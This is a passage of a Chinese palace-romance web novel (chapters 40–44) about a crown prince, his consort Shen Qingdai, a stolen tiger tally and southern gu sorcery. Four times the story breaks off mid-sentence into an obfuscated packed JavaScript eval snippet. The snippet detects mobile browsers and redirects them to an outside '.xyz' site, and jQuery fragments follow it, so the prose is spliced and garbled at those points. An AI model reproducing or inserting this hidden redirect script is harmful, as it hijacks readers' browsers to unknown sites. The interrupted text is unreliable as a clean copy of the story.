萧景翊看着她泛红的眼角,那股子倔强里透着委屈的模样,突然觉得刚才那些猜忌像一拳打在棉花上。 她眼里的情绪太真了,没有半分算计。 他喉结滚动了下,原本想说的质问全堵在嗓子眼。 指尖动了动,差点就想抬手替她擦眼泪,最后却只是生硬地别过脸,声音依旧带着冷意:“谁要关你。” 沈青黛抽了抽鼻子,见他态度松动,胆子又大了些:“那你就是信我了?” “……”萧景翊没吭声,只从袖袋里摸出块帕子甩给她,“哭什么哭,成何体统。” 帕子带着他身上清冽的墨香,沈青黛捏在手里,心里的委屈消了大半,嘴上却还不饶人。 “还不是被你气的!整天疑神疑鬼,跟个老婆子似的……” “沈青黛!”萧景翊挑眉,眼神又冷下来,“再胡言乱语,就去抄十遍《女诫》。” “别别别!”沈青黛赶紧摆手,把帕子往脸上胡乱抹了抹。 “我错了我错了,殿下您大人有大量,别跟我一般见识。” 看着她见风使舵的样子,萧景翊忍不住叹了口气,语气也缓和了些。 “我不是不信你,只是让你别做些奇怪的事。最近……” 他顿了顿,压低声音,“京畿大营的虎符丢了。” “虎符丢了?”沈青黛吓了一跳,“就是那个能调兵遣将的玩意儿?” “不然呢?”萧景翊皱眉。 “现在宫里宫外都在查,你最近又总往宫外跑,还跟南疆来的花戎走那么近,难免不让人起疑。” “我跟花戎就是朋友!”沈青黛立刻反驳。 “再说了,我哪儿知道什么虎符啊,我就是去他那儿拿点治头疼脑热的药……” “最好是这样。”萧景翊盯着她,“总之你给我安分点,别到处惹事。” 沈青黛眼珠一转,突然来了兴趣:“哎殿下,我听说丢了东西都有悬赏,找到虎符有没有奖励啊?” 萧景翊被她问得一愣,没好气地说:“你还想找虎符?” “问问嘛,”沈青黛搓着手,一脸期待。 “要是有奖励,说不定我还真能帮上忙呢!我跟你说,我眼神可好了,小时候在乡下能看见十里外的兔子……” “行了行了,”萧景翊打断她的吹嘘,“悬赏五千两。” “五千两?”沈青黛眼睛瞬间瞪圆了,“那么多?” 她掰着手指头算。 “五千两能买多少糖葫芦啊……不对,能买多少间铺子啊!哎呀,早知道虎符这么值钱,我早就……” “早就什么?”萧景翊挑眉。 “早就……早就提醒那些人看好虎符了!”沈青黛嘿嘿一笑,心里却打起了小算盘。 萧景翊看着她亮晶晶的眼睛,就知道她在打什么主意。 他没好气地说:“别瞎琢磨,虎符的事有专人查,轮不到你操心。” “我就琢磨琢磨嘛,”沈青黛吐了吐舌头,“万一我真找到了呢?到时候殿下可别忘了给我发赏钱!” “你啊……”萧景翊无奈地摇了摇头,“赶紧回屋去,别在这儿晃悠了。” “遵命!”沈青黛嬉皮笑脸地行了个礼,转身就往自己的小院跑。 跑出没多远,就听见萧景翊在身后喊:“沈青黛!” 她回头:“咋了殿下?” “把帕子洗干净还我。” “知道啦!”沈青黛晃了晃手里的帕子,心里却乐开了花。五千两啊,她来了! 光是想想那白花花的银子,她就觉得眼睛都在冒金星。 这钱可不止是买糖葫芦买铺子那么简单。 等把五皇子和阿依古丽的破事查清楚,说不定宫里就没她容身之地了。 到时候带着春桃,再把乡下的爹娘接出来,找个山清水秀的地方开个药铺,岂不是美滋滋? 这五千两,可是她跑路的启动资金啊! 正想得口水都快流出来,冷不丁听见萧景翊在身后哼了一声:“瞧你那没出息的样儿,五千两就把你乐成这样?” 沈青黛猛地回头,见他挑眉盯着自己,眼神里带着一丝探究:“你该不会真有想法,想去找虎符吧?” “咋了?不行啊?”沈青黛梗着脖子,心里却有点发虚。 第四十章 虎符丢了 她那点小心思,难不成被他看穿了? 萧景翊往前走了两步,低头看着她:“缺钱?” 这俩字像颗小石子砸在沈青黛心上。 她下意识地攥紧了帕子,语气也带上了点别扭。 “是又怎么样?不像某些人,生来就含着金汤匙,穿的是绫罗绸缎,用的是翡翠玉盏,自然不知道没钱的苦!” 她越说越觉得委屈,干脆把帕子往他怀里一塞。 “帕子还你!我没钱买新的给你洗,行了吧?” 说完,她扭头就走,脚步噔噔的,像是跟地面有仇。 萧景翊看着她气鼓鼓的背影,眉头皱了起来。 他不是故意戳她痛处,只是看她对五千两反应这么大,难免担心她为了钱去冒险。 可听她那话里的酸劲儿,显然是误会了。 他堂堂太子,自然不缺金银,但看她为了几千两银子眼睛发亮的样子,心里竟莫名有点不是滋味。 她就这么想离开东宫,离开他吗? 沈青黛气呼呼地跑回小院,春桃看她脸色不对,小心翼翼地问:“主子,您这是咋了?又跟殿下吵架了?” “没吵!”沈青黛没好气地坐在椅子上,“就是觉得心里堵得慌!” 她把刚才的事跟春桃说了一遍,越说越委屈。 “他是不是觉得我贪财?不就是五千两吗?谁不想多攒点钱防身啊!万一哪天我被赶出宫了,总不能饿死在街头吧?” 春桃叹了口气,给她倒了杯茶。 “主子,您别多想了,殿下说不定就是随口问问。再说了,您想攒钱带家人走,这也没啥错啊。” “话是这么说,”沈青黛抿了口茶,“可他那眼神,就跟看什么贪心鬼似的……” 正说着,窗外传来暗卫的声音:“沈良娣,殿下让属下送点点心来。” 沈青黛没好气地说:“拿走!我不吃!” “殿下说,这是您最爱吃的糖蒸酥酪。” 沈青黛的肚子“咕噜”叫了一声。 那糖蒸酥酪是她上次跟萧景翊逛御膳房时随口说的,没想到他居然记着。 心里的那点怨气顿时消了一半,但嘴上还是硬邦邦的:“放门口吧!” 暗卫应了一声,脚步声远去。 春桃把点心端进来,劝道:“主子,尝尝吧,别跟自己过不去。” 沈青黛看着白花花的酥酪,上面还撒着亮晶晶的糖霜,到底没忍住,拿起勺子挖了一口。 嗯,甜丝丝的,入口即化,果然是她喜欢的味道。 “哼,算他还有点良心。” 她小声嘟囔着,心里却忍不住想:萧景翊那家伙,是不是真的有点在乎她?不然怎么会记得她爱吃什么? 夜深人静时,沈青黛揣着花戎给的夜行衣,偷偷翻出了东宫。 月黑风高夜,正是探听消息的好时候。 她琢磨着虎符是将军府丢的,不如先去将军府碰碰运气,说不定能听到点啥。 将军府的围墙不算高,沈青黛仗着小时候爬树掏鸟窝的本事,三两下就翻了进去。 府里静悄悄的,只有巡逻侍卫的脚步声时不时响起。 她猫着腰,躲在假山后面观察。 突然,不远处的书房里传来说话声。 沈青黛眼睛一亮,悄悄挪到窗根下,戳破窗纸往里看。 只见一个大胡子将军正背对着她,手里拿着一张地图,跟旁边的副将说话。 那将军她认得,是京畿大营的主帅吴忠。 “……南疆那边的消息查得怎么样了?”吴忠的声音粗哑,带着一丝焦虑。 副将低声说:“将军,咱们的人查到,丢失的虎符恐怕跟南疆有关。” “最近有一支南疆商队行踪诡秘,没走官道,反而绕着山路往京城来,领头的人身上带着巫主图腾的玉佩。” “巫主图腾?”吴忠猛地一拍桌子,“果然是他们!我就说这虎符丢得蹊跷!” 沈青黛在窗外听得心头一紧。 南疆商队?巫主图腾?难不成真跟阿依古丽有关? 副将接着说:“而且据密探回报,南疆最近动作频频,边境上的小摩擦不断,怕是跟天琛的关系越来越紧张了。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823794|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “这虎符要是落到他们手里,再加上五皇子……” 后面的话沈青黛没听清,她脑子里“嗡嗡”直响。 南疆和天琛关系紧张,虎符又跟南疆有关,五皇子还跟阿依古丽勾结…… 这简直是要翻天啊! 她悄悄退开,心里盘算起来。 五皇子想夺嫡,南疆想搞事,虎符是关键,而阿依古丽既是南疆公主,又跟五皇子搅和在一起,肯定知道不少内情。 要想找到虎符,还要查出是谁给她下蛊,突破口只能是阿依古丽! 溜出将军府,沈青黛一路小跑回东宫。 夜风格外凉,吹得她后颈的碎发直往脖子里钻。 她心里惦记着虎符和南疆商队的事,脚步不由得加快,恨不得立刻飞回东宫告诉萧景翊。 刚拐过一条僻静的小巷,突然一股大力从身后袭来,她还没反应过来,就被人猛地拽进了旁边的暗巷! 沈青黛吓得魂飞魄散,张嘴想喊,却被一只带着薄茧的手捂住了嘴。 “别出声。”一个低沉沙哑的声音在耳边响起。 沈青黛挣扎着回头,只见眼前站着个蒙着黑布的男人。 一身夜行衣跟她身上的差不多,唯独腰间挂着一块墨绿色的玉佩,上面刻着扭曲的蛇形花纹——正是花戎说过的南疆图腾! “你是谁?”沈青黛心里咯噔一下,挣扎得更厉害了,“放开我!” 黑衣人却没松手,反而凑近了些,语气带着一丝玩味。 “沈青黛,年十八,原是江南沈家之女,后流落到京城,被太子萧景翊纳为良娣。” “擅长医术,与花戎药铺老板过从甚密。我说得对吗?” 沈青黛惊呆了,这人怎么会知道她这么多事? 难道是五皇子的人? 还是阿依古丽派来的? “你到底想干什么?”沈青黛厉声问。 黑衣人松开手,往后退了一步,声音依旧沙哑:“我只想问问,沈良娣深夜去将军府,所为何事?” “关你什么事!”沈青黛梗着脖子,心里却在飞快盘算。 第四十一章 合作双赢如何 看他腰间的玉佩,肯定跟南疆有关,说不定就是给她下蛊的人! 她越想越觉得有可能,猛地抬头,指着他腰间的玉佩。 “你是南疆来的吧?我后颈的追影蛊,是不是你下的?” 黑衣人似乎没想到她会这么问,顿了一下,才慢悠悠地说:“沈良娣果然聪明。” “你为什么要给我下蛊?”沈青黛气得浑身发抖。 “你知不知道,因为你,太子殿下有多担心我?你这是间接害他!” “害他?”黑衣人低笑一声,声音里带着一丝嘲讽。 “沈良娣,你以为太子真的在乎你吗?他不过是利用你罢了。” “你胡说!”沈青黛立刻反驳,“殿下才不是那样的人!” “是不是,你心里清楚。”黑衣人没跟她争辩,反而话锋一转。 “不过,我可以给你一个机会,一个摆脱太子,摆脱这深宫的机会。” “你什么意思?”沈青黛警惕地看着他。 “我知道你想带家人离开京城。” “只要你肯帮我,我不仅能给你钱,还能帮你救出你的家人,让你们远走高飞,再也不用受任何人的控制。” 沈青黛愣住了。 他怎么会知道她想带家人走?难道他一直在监视她? “你想让我帮你做什么?”沈青黛握紧了拳头,心里有些动摇。 救出家人,远走高飞,这正是她一直以来的梦想啊! “很简单,”黑衣人说,“告诉我,太子现在对虎符的追查进展到哪一步了?他都派了哪些人去查那支南疆商队?” 沈青黛心里一沉,果然是为了虎符!她差点就被他说动了,幸好及时清醒过来。 “我凭什么相信你?”沈青黛冷冷地说,“你给我下蛊,现在又想让我背叛殿下,我怎么知道你是不是在骗我?” “信不信由你,”黑衣人似乎并不意外她的拒绝。 “但我可以告诉你,你的家人现在并不安全。五皇子为了逼你就范,已经派人去江南了。” “你说什么?”沈青黛大惊失色,“你敢动我家人?” “我不动,不代表别人不动。”黑衣人说,“五皇子是什么样的人,你应该很清楚。如果你不帮我,你的家人会怎么样,我可不敢保证。” 沈青黛的心一下子沉到了谷底。 她知道黑衣人说的是真的,五皇子为了达到目的,什么事都做得出来。 “你到底是谁?”沈青黛看着他,“你跟阿依古丽是什么关系?” “我是谁不重要,”黑衣人说,“重要的是,你想不想救你的家人。给你三天时间考虑,三天后,我会再来找你。” 沈青黛猛地抬眼:“我要的可不止这个。” 黑衣人喉头发出一声低笑:“哦?沈良娣还想要什么?” “我要皇后一族,”她咬着牙,“万劫不复。” 巷口的风卷着落叶刮过,黑衣人蒙着黑布的脸看不清表情,只有那双眼睛在暗处亮得吓人。 他沉默了好一会儿,久到沈青黛以为他不会回答,才听见他沙哑着嗓子说:“你倒是敢想。” “我为什么不敢?”沈青黛往前一步。 黑衣人没接话,只是那双眼睛死死盯着她,仿佛要看穿她的心思。 沈青黛被他看得发毛,却硬是没退缩。 半晌,黑衣人才从喉咙里挤出两个字:“疯子。” 说完,他不再停留,身形一闪,消失在巷子尽头,只留下沈青黛一个人站在原地。 她看着黑衣人消失的方向,慢慢握紧了拳头,回想起那些痛苦的记忆,指甲不知不觉没入了掌心。 疼吗? 疼。 但比不过心里的恨。 皇后一族欠她沈家的,她迟早要连本带利讨回来。 至于那个黑衣人……不管他是谁,只要能帮她报仇,就算是跟魔鬼做交易,她也认了。 沈青黛深吸一口气,压下翻涌的情绪,转身往东宫走。 夜路走得心惊胆战,她总觉得背后有人盯着,好几次回头都只看见树影晃动。 好不容易摸到自己寝殿门口,推门进去时却被床上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823795|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人影吓得差点叫出声! “你……你怎么在我床上?”沈青黛捂着胸口,借着窗外月光,看清了萧景翊那张没什么表情的脸。 他靠在床头,手里捏着本折子,眼皮都没抬:“你的床,我不能来?” “能能能!”沈青黛赶紧赔笑,心里却直发毛。 他怎么会突然来她这儿?还等这么晚? 萧景翊终于抬眼看她,目光扫过她沾着泥点的裙摆:“半夜三更,去哪儿了?” “我……我去御花园散步了!”沈青黛脱口而出,说完就想咬掉自己舌头。 大半夜散什么步?骗鬼呢! 果然,萧景翊挑眉:“御花园的路,能把裙子蹭成这样?” 沈青黛心虚地往后缩了缩,不敢看他:“可能……可能不小心摔了一跤?” “沈青黛,”萧景翊把折子往旁边一扔,声音沉了下来。 “我是不是跟你说过,别去掺和虎符的事?别去将军府附近晃悠?” 沈青黛心里咯噔一下:他怎么知道她去了将军府?难道派人跟踪她了? “你派人监视我?”她一下子炸毛了,“萧景翊,你凭什么!” “凭你是东宫良娣,”萧景翊看着她,眼神里没什么温度。 “你的个人行为,很可能牵连整个东宫。五皇子和南疆的人都盯着你,你以为你半夜溜出去,真的没人知道?” “我……”沈青黛被他说得哑口无言,心里却又气又委屈,“我就是去看看!我没做什么坏事!” “没做坏事?”萧景翊冷笑一声,“那你告诉我,刚才跟你在暗巷里说话的黑衣人,是谁?” 沈青黛彻底傻眼了,连嘴唇都开始发抖:“你……你连这个都知道?” “我是太子,”萧景翊的声音里带着一丝疲惫。 “京城地面上的事,没有我完全不知道的。沈青黛,我不管你跟那黑衣人说了什么,我只告诉你,别被人当枪使。” 沈青黛咬着唇,没说话。 被人当枪使?她现在只想当那把枪,把皇后一族捅个对穿! 第四十二章 暧昧共处一床 “听到没有?”萧景翊见她不吭声,语气更冷了。 “听到了!”沈青黛没好气地说,“不就是不让我出去吗?我不去了行不行!” “最好是这样。”萧景翊盯着她,“我不希望因为你的任性,让东宫陷入危机。” “我知道了!”沈青黛烦躁地挥手,“你赶紧走吧,我要睡觉了!” 萧景翊没动,反而拍了拍身边的床榻:“今晚我睡这儿。” “啥?”沈青黛瞪大眼睛,“不行!” “不行?”萧景翊挑眉,“你觉得,在你跟黑衣人见过面之后,我还能放心让你一个人睡?” 沈青黛看着他不容置疑的眼神,知道自己拗不过,只能认命。 她磨磨蹭蹭地挪到屏风后面,开始解外衫的系带,心里却跟揣了只兔子似的。 萧景翊那家伙今天咋回事? 以前最多在她这儿待半个时辰,咋突然要留宿? “你磨叽什么?”萧景翊的声音从屏风外传来,带着点不耐烦。 “知道了知道了!”沈青黛没好气地应着,三下五除二把外衫扯下来,随手扔在椅子上。 她穿着里衣站在屏风后,偷偷探出头瞄了一眼。 萧景翊正靠在床头翻书,侧脸在烛火下显得格外柔和,跟平时冷冰冰的样子完全不一样。 也不知道是不是错觉,她总觉得萧景翊的目光时不时往屏风这边飘。 沈青黛心里一慌,赶紧缩回脑袋,手忙脚乱地解着里衣的扣子。 “哗啦——”一声。 不知怎么回事,她把旁边的妆台碰了一下,胭脂盒掉在地上,摔得粉碎。 “笨手笨脚的。”萧景翊的声音带着一丝笑意。 沈青黛脸一红,小声嘟囔:“还不是因为你在这儿,我紧张!” 她说完就后悔了,这话听着也太暧昧了!果然,屏风外没了动静,沈青黛恨不得找个地缝钻进去。 过了好一会儿,才听见萧景翊低低地“嗯”了一声,声音里好像带着点别的什么意味。 沈青黛不敢再想,飞快地换上睡衣,深吸一口气,从屏风后面走了出来。 萧景翊已经吹灭了蜡烛,只留了一盏床头灯,暖黄色的光洒在他身上。 他侧躺着,眼睛看着她,眼神在昏暗的光线下显得有些深邃,跟平时的锐利完全不同。 沈青黛被他看得有点不自在,赶紧爬上床,缩到床角,把被子裹得严严实实。 “你躲那么远干什么?”萧景翊挑眉。 “我……我习惯了!”沈青黛脱口而出,心里却想:谁跟你睡一张床习惯啊! 萧景翊没再说话,只是目光一直落在她身上。 沈青黛被他看得浑身不自在,忍不住开口:“你看**嘛?睡觉啊!” “睡不着。”萧景翊的声音很轻。 “那就数羊!”沈青黛没好气地说。 萧景翊低笑一声,没再理她。 屋子里安静下来,只有两人浅浅的呼吸声。 沈青黛闭着眼睛,却怎么也睡不着,满脑子都是萧景翊刚才的眼神。 也不知道过了多久,她迷迷糊糊快要睡着时,突然感觉身边的人动了一下。 她猛地睁开眼,就看见萧景翊不知什么时候已经转过身,正撑着胳膊看着她,距离近得能闻到他身上清冽的墨香。 “你……你干嘛!”沈青黛吓得差点滚下床。 萧景翊没说话,目光落在她露在被子外面的肩膀上,眼神一点点变深。 沈青黛这才意识到,她刚才换衣服太急,睡衣的带子没系好,领口微微敞开,露出了一小片白皙的肌肤。 她赶紧伸手去系带子,却被萧景翊抢先一步握住了手腕。 他的手心很烫,烫得沈青黛心里一跳。 “殿下……”她小声叫他,声音里带着一丝慌乱。 萧景翊抬起眼,目光跟她对上。 他的眼睛里好像有漩涡,看得沈青黛快要喘不过气来。 “沈青黛,”他突然开口,声音沙哑,“你就这么放心,在我面前换衣服?” 沈青黛被他问得一愣,下意识地说:“咱们……咱们不是什么都做过了吗?” 说完她就想咬掉自己的舌头,这话也太虎了! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823796|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 萧景翊显然也没想到她会这么说,愣了一下,随即眼底闪过一丝笑意,还有些别的什么情绪,快得让人抓不住。 “哦?我们做过什么?”他故意凑近了些,温热的呼吸喷在沈青黛的脸上。 沈青黛的脸“腾”地一下就红了,从脸颊一直红到脖子根。 她想推开他,却被他握着手腕动弹不得。 “我……我开玩笑的!”她结结巴巴地说,“殿下您别当真!” “开玩笑?”萧景翊挑眉,眼神里的笑意更浓了,“可我怎么觉得,你是认真的呢?” “我没有!”沈青黛急得快要哭了,“殿下,您松开我!” 萧景翊看着她通红的脸颊和慌乱的眼神,突然低笑出声。 他松开了她的手腕,却没有退开,反而用手指轻轻刮了一下她的鼻子。 “笨丫头。”他说。 沈青黛被他这一下弄得更慌了,赶紧往后缩了缩,把自己埋进被子里,只露出一双眼睛看着他。 萧景翊看着她这副样子,忍不住笑了起来。 他的笑声低沉悦耳,在安静的夜里显得格外清晰。 “你笑什么!”沈青黛没好气地说,心里却有点疑惑,萧景翊今天到底怎么了? 平时跟个冰块似的,今天怎么这么奇怪? 萧景翊笑够了,才收了笑意,眼神恢复了平时的样子,只是还有些柔和。 他伸手帮她把被子掖好,动作轻柔。 “睡吧。”他说。 沈青黛看着他,心里乱糟糟的。 刚才那一瞬间,她好像从萧景翊的眼神里看到了不一样的东西,那不是太子对良娣的审视,也不是朋友之间的关心,而是…… 一种她不敢深究的情绪。 “殿下,”她忍不住开口,“你是不是……对我有点不一样了?” 萧景翊闻言,抬眼看了她一下,眼神深邃:“你想多了。” 沈青黛心里一失落,果然是她想多了。 也是,萧景翊是太子,身边什么样的女人没有,怎么会对她这个咋咋呼呼的小良娣有感情呢? 第四十三章 离他远点 “哦。”她低下头,声音里带着一丝沮丧。 萧景翊看着她失落的样子,张了张嘴,似乎想说什么,但最终还是没说出口。 他只是伸手,把床头灯也吹灭了。 屋子里陷入一片黑暗,只剩下两人的呼吸声。 沈青黛躺在床上,心里五味杂陈。 她以为自己已经习惯了萧景翊的冷漠,可刚才那短暂的温柔,却让她心里泛起了涟漪。 “沈青黛,”黑暗中,萧景翊突然开口,声音很轻,“以后别再一个人冒险了,听到没有?” “知道了。”沈青黛小声应着。 “还有,”萧景翊顿了顿,“离那个黑衣人远一点。” “嗯。”沈青黛点点头。 说完,两人都没再说话。 沈青黛侧躺着,背对着萧景翊,却能感觉到他的目光一直落在自己身上。 她闭着眼睛,心里却怎么也平静不下来。 也不知道过了多久,她终于迷迷糊糊地睡着了。 睡梦中,她好像感觉到有人轻轻抱住了她,动作温柔,带着一丝小心翼翼。 第二天一早,沈青黛是被阳光晒醒的。 她睁开眼,发现身边的位置已经空了,只有被子上还残留着一丝淡淡的墨香。 春桃端着水盆进来,见她醒了,笑着说:“主子,您醒啦?殿下临走前吩咐了,让您好好歇着,别到处乱跑。” 沈青黛应了一声,翻身坐起来,伸手揉了揉乱糟糟的头发。 想起昨晚的事儿,脸上不自觉地发烫,赶紧甩了甩头把那些乱七八糟的念头都抛开。 “春桃,把我的软甲拿来,我去校场练练!”她一边说一边跳下床,活像只刚睡醒的小兔子。 春桃无奈地摇了摇头,嘟囔着去取衣服。 在校场挥汗如雨练了一上午,沈青黛累得瘫在地上直喘气。 突然一拍脑袋,想起还藏着个“大宝贝”没处理,一骨碌爬起来,从角落里拖出个小坛子,又拎着铁锹往花园跑。 正挖坑埋坛子呢,身后突然传来脚步声。 沈青黛头也不回地喊:“春桃你别捣乱,我这可是秘密行动!” “秘密行动?埋什么呢?”熟悉的声音传来,沈青黛手一抖,铁锹差点拍在自己脚上。 回头一看,萧景翊正站在三步开外,眉梢挑起,眼神里写满了好奇。 “殿、殿下!”沈青黛下意识地用脚把坛子往土里踢了踢,笑得比哭还难看。 “没、没埋啥,就是……就是昨天吃剩的骨头,怕招老鼠!” 萧景翊没说话,直接走过来蹲下,伸手就去扒拉她脚边的土。 沈青黛急得直跳脚,伸手去拦,结果被他轻松躲开,坛子“咕噜”一声滚了出来。 “这看着不像骨头。”萧景翊敲了敲坛子,瓷罐发出“咚咚”的闷响,“打开我看看?” 沈青黛耷拉着脑袋,蔫巴巴地揭开盖子。 坛子里黑黢黢的,还冒着股奇怪的酸味,像是把臭豆腐、烂橘子和药渣子混在了一起。 “这是……给琳琅特制的药!”她小声解释,“她中了‘千日痒’的母蛊,我配了点药给她压制蛊毒。” 萧景翊皱着眉往后躲了躲,实在闻不惯这味儿:“就不能做得好闻点?” “良药苦口嘛!”沈青黛理直气壮地说,“再说了,这药里加了三十三种毒虫粉末,能不好闻吗?” 正说着,远处传来一阵脚步声,琳琅捏着帕子哭哭啼啼地跑过来。 “殿下!您可要为我做主啊!沈良娣她、她给我喝的药比黄连还苦,我都快被苦**!” 沈青黛眼疾手快,一个箭步冲过去挡住她,伸手捂住她的嘴。 “嘘!你别靠近殿下!你身上的母蛊和他体内残留的蛊毒会互相激发,到时候有你好受的!” 琳琅拼命挣扎,眼睛瞪得溜圆,呜呜咽咽地说:“你少吓唬人!我不信!” 萧景翊倒是若有所思,摸了摸袖口——他确实能感觉到,每次靠近琳琅,心口就隐隐发闷。 只是之前一直以为是太累了,没想到是蛊毒作祟。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15823797|175156||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “真没骗你!”沈青黛松开手,从怀里掏出个小本子,上面密密麻麻记满了字。 “你看,我研究了整整三天三夜!母蛊和子蛊一旦相遇,就跟干柴碰烈火似的,非得闹出个大动静不可!” 琳琅半信半疑地看了看萧景翊,又看了看沈青黛,突然“哇”地一声哭出来:“那、那我怎么办?我不想死啊!” “别哭别哭!”沈青黛手忙脚乱地掏出手帕给她擦眼泪,“我的药虽然苦了点,但绝对有用!等花戎找到了彻底解蛊的法子,你就能活蹦乱跳啦!” 萧景翊看着眼前鸡飞狗跳的一幕,无奈地叹了口气:“行了,都别闹了。琳琅,你先回房歇着,药按时喝。” 又转头看向沈青黛,“你也别瞎折腾了,再敢配这种怪味药,就罚你把御膳房的糖霜全吃光。” 沈青黛吐了吐舌头:“知道啦!不过殿下,你身上的蛊毒……” “我心里有数。”萧景翊打断她,伸手揉了揉她的脑袋,“你管好自己就行。” 说完转身走了,衣摆扫过坛子,又带起一阵怪味。 琳琅看着他的背影,突然小声说:“良娣,你说殿下是不是……对我有点不一样?” 沈青黛差点被自己的口水呛到,上下打量了她一番:“不一样?哪儿不一样?他刚才还嫌你哭得吵呢!” “才不是!”琳琅跺了跺脚,“殿下让我好好歇着,还……还关心我!” “打住!”沈青黛赶紧捂住她的嘴,“你可别瞎想!殿下那是怕你**,他的蛊毒没人解!” 说完拖着琳琅就往屋里走,“走走走,该喝药了!今天的剂量加倍!” “啊?不要啊!”琳琅的惨叫声在园子里回荡,惊飞了好几只停在树上的麻雀。 沈青黛却笑得一脸灿烂,心想:可算把这事儿糊弄过去了,下次配药得找个更隐蔽的地方,不然又得被殿下抓包! 琳琅被她拽到屋里,死活不肯张嘴喝药,在榻上扭来扭去。 “沈青黛!你这是谋害宫女!我要去告诉殿下!” 第四十四章 不听话就绑起来 “告去吧!”沈青黛掏出麻绳,三下五除二把她捆成个粽子。 “等你体内蛊毒发作,浑身长满脓疮的时候,看殿下还愿不愿意听你哭鼻子!” 她捏着琳琅的腮帮子,把药碗往她嘴边送,“来,张嘴,啊——” 琳琅气得直蹬腿,用眼神把沈青黛祖宗十八代都问候了一遍,可嘴巴被捏得死死的,只能“呜呜”挣扎。 沈青黛哪管她愿不愿意,“咕咚咕咚”就把药灌了下去,末了还贴心地塞了块桂花糖。 “乖,良药苦口利于病嘛!” “沈青黛!我跟你没完!”琳琅呸地吐出糖块,眼泪汪汪地瞪着她,“等我解开绳子,非挠花你的脸不可!” “好好好,等你解开再说。”沈青黛把麻绳又紧了紧,哼着小曲儿出门了。 刚走到院子里,就撞见春桃抱着一堆草药慌慌张张跑过来:“主子!德妃娘娘派人传话,让您去请安呢!” “正好!”沈青黛眼睛一亮,“我新配的安神香膏还没给娘娘送去呢!” 她转身回屋翻出个小瓷盒,里头装着淡粉色的膏体,闻起来带着股清甜的莲花香。 这香膏不仅能安神,还能防蚊虫,最适合夏日用了。 德妃宫里飘着阵阵茉莉香,沈青黛刚跨进门槛,就看见德妃歪在软榻上,手里拿着本话本子,眼睛却半眯着,像是犯困的样子。 “德妃娘娘万安!”沈青黛福了福身,凑过去把瓷盒打开,“您闻闻这个!我新配的香膏,抹在太阳穴上可提神了!” 德妃坐直身子,凑近闻了闻,眼睛顿时亮了:“哎呦,这味儿好!比御药房进贡的还好闻!” 她接过瓷盒,往太阳穴上抹了一点,“嗯……凉凉的,还真舒服!” “娘娘喜欢就好!”沈青黛笑眯眯地说。 “我那儿还有好几盒,明天让人给您送过来。对了娘娘,您最近晚上睡得可好?有没有做噩梦?” 德妃叹了口气,放下话本子:“别提了,最近也不知道咋回事,老是梦到些奇奇怪怪的东西,醒来头疼得厉害。” 沈青黛心里“咯噔”一下,想起花戎说过,南疆的巫蛊之术能让人做噩梦。 难不成德妃也被盯上了? 她表面上不动声色,从袖兜里掏出个小瓶子:“娘娘,这是我配的助眠香囊,您挂在床头试试?” 正说着,外头突然传来一阵喧哗声。沈青黛掀开帘子一瞧。 嚯,南疆公主正带着一群侍女气势汹汹地走来,手里还拎着个鸟笼子,里头关着只五彩斑斓的鹦鹉。 “德妃娘娘,我给您送稀罕玩意儿来了!” 南疆公主扭着腰肢走进来,眼睛却瞟着沈青黛。 “听说娘娘喜欢养宠物,这可是我们南疆特有的‘巧舌鸟’,会说人话呢!” 那鹦鹉扑棱着翅膀,突然开口学舌:“沈青黛是丑八怪!沈青黛是丑八怪!” 沈青黛脸瞬间黑了:“你这鸟嘴可真毒!是不是有人教它的?” 南疆公主耸耸肩,一脸无辜:“我可没教。不过话说回来,良娣妹妹要是觉得难听,不如也养只鸟,让它天天夸你?” 德妃皱着眉打断她们:“行了行了,都别吵了。这鸟看着倒是有趣,先放这儿吧。” 她转头看向沈青黛,“青黛,你帮我把鸟笼子挂到廊下。” 沈青黛接过鸟笼,故意在经过南疆公主身边时晃了晃,笼子上的铜铃“叮叮当当”响个不停。 鹦鹉被晃得头晕,“噗”地往南疆公主裙子上拉了泡屎。 